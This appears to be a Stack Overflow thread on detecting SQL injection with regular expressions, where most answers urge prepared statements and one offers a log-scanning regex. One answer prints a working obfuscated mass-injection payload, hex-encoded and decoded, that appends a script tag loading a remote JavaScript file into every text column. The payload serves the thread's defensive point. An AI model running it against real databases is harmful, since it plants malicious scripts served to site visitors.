RegEx to Detect SQL Injection

Question

Is there a Regular Expression that can detect SQL in a string? Does anyone have a sample of something that they have used before to share?

@SQLMenace Not that I suggest using regex to detect SQL Injection as I agree it is bound to fail, however detecting terms like "declare" and "exec" which are unlikely to be valid in your user input in most cases would work for your specific example. — YonahW, Sep 05 '08 at 02:16
@SQLMenace The library/driver is required to handle escaping of parameter values when you use a `PreparedStatement`—that's one of the main benefits of using them. There are many others, including better query optimization, but the protection against injection is probably my favorite one. — Hank Gay, Sep 05 '08 at 02:10

score 41 · Accepted Answer · answered Sep 05 '08 at 02:02

41

Don't do it. You're practically guaranteed to fail. Use PreparedStatement (or its equivalent) instead.

answered Sep 05 '08 at 02:02

Hank Gay

70,339
36
160
222

1

This is good advice, this fixes the real problem but you might still want to be able to detect the attack and take additional steps. Using a prepared statement prevents the attack but it will not tell you that someone is trying to attack. – Timbo Sep 22 '08 at 15:04
4

I guess that depends how important that sort of detection is to you. The easiest checks are likely to generate false positives (' is not always a sign of attack, it could just be a user named O'Banion) and making it more sophisticated starts to eat up time you could be devoting to functionality. – Hank Gay Sep 22 '08 at 17:08
2

I don't think the question necessarily means the OP wanted to use regex to mitigate the risk. I filter and escape everything, but I am looking for a good SQL injection regex precisely because I want to flag users who are doing things they shouldn't be (including sql injection attempts). – TMG Apr 28 '10 at 23:00
2

Additionally, sometimes you can inherit an entire project of dynamic SQL and are suddenly faced with the prospect that changing everything to prepared statements will have you making code modifications to over 500 class files. A regex solution starts to look palatable. – avgvstvs Oct 26 '11 at 17:59
@avgvstvs There should be scare quotes around "solution", because it is only an illusion of security. – Hank Gay Oct 27 '11 at 02:01
If you canonicalize your input data before applying a regex, a regex solution IS a solution. OWASP's ESAPI provides an API to do this. – avgvstvs Oct 27 '11 at 12:55
1

This is not an answer. There are legitimate cases for detecting SQL injection before going to a prepared statement. Such information is useful for logging hack attempts. – bryjohns Mar 13 '18 at 19:04

score 21 · Answer 2 · edited Oct 31 '19 at 22:36

Use stored procedures or prepared statements. How will you detect something like this?

BTW do NOT run this:

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

Which translates to:

( DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b 
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN EXEC(
      'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''') 
    FETCH NEXT FROM Table_Cursor INTO @T,@C 
  END 
  CLOSE Table_Cursor 
  DEALLOCATE Table_Cursor )

can you please explain what that code is? got me very interested. thanks! — Alex Gordon, Oct 18 '10 at 15:13
these numbers transform to sql query (DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor ) after cast to varchar — Sir Hally, Jul 09 '12 at 10:01

score 4 · Answer 3 · answered Sep 05 '08 at 02:14

Save yourself problems and use stored procedures with prepared statements or parameterized queries. Stored procedures are good practice anyway, as they act like an interface to the database, so you can change what happens behind the scenes (inside the stored proc) but the signature remains the same. The prepared statements help take care of injection protection.

jœl · Answer 4 · 2016-10-22T10:49:36.083

0

As said, it is better to use prepared statements. You could argue forcing key queries to be executed by a stored procedure to force the use of preparing the call.

Anyway, here is a simple grep to detect classic n=n integer in where clauses; it skips flagging the 1=1 used by many lazy query constructors for the AND, but will flag it for the OR

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

It could of course be improved to detect decimal and string comparisons, but it was a quick detection mechanism, along with other greps such as ORD(MID(, etc.

Use it on a query log, such as mysql's general log

Hope its useful

edited Oct 22 '16 at 10:49

answered Oct 21 '16 at 13:55

jœl

1
1

You know, there is absolutely nothing "classical" in that n=n in regard of SQL injection. This regexp is no more useful than a literal substring search for "Robert'); DROP TABLE students;" in hope for detecting an SQL injection. – Your Common Sense Oct 22 '16 at 08:38
I did not mean to provide the _god regex_ for sql injection; I just thought to share a simple where comparison for typical integer conditions – jœl Oct 22 '16 at 10:53

score 0 · Answer 5 · answered Sep 05 '08 at 02:04

I don't have a regex but my understanding is that the most important thing is to detect the single quote. All the injection attacks start from there. They probably have the -- in there too to comment out and other SQL that might be after the string.

RegEx to Detect SQL Injection

5 Answers5

Linked